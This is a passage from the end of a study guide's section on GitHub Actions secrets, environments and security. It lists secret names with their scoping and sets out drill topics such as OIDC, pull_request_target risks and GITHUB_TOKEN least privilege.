  SONAR_TOKEN         -- same for all envs, used in CI
  NPM_READ_TOKEN      -- same for all envs, used in build
  SLACK_NOTIFY_HOOK   -- one channel, all envs

Environment Secrets (staging, production separate):
  DB_HOST             -- different DB per environment
  DB_PASSWORD         -- different passwords per environment
  KUBECONFIG          -- different clusters per environment
  DEPLOY_ROLE_ARN     -- different IAM roles per environment
  API_GATEWAY_URL     -- different endpoints per environment
```

End of Category 4: Secrets, Environments & Security

> **Next:** Category 5 (Advanced Workflow Patterns) builds directly on these security foundations -- how concurrency controls interact with environment protection rules, and why matrix strategies combined with environment secrets require careful design to avoid accidentally deploying the wrong matrix combination to production.
>
> **Priority drill topics from this category:**
>
> - OIDC: draw the full protocol flow from memory, explain sub claim format variations, explain why id-token: write is required
> - pull_request_target: explain the attack scenario end-to-end and describe the two-workflow mitigation pattern

> - GITHUB_TOKEN: know all scope names, the least-privilege pattern, and the push-does-not-trigger limitation